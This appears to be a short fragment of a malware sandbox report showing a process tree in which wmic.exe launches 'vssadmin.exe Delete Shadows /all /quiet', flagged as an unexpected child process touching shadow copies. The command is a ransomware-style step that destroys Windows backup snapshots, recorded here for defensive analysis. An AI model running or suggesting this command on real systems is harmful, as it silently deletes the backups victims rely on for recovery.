C:\Windows\system32\wbem\wmic.exe"C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"3⤵PID:220
-
-
-
C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:620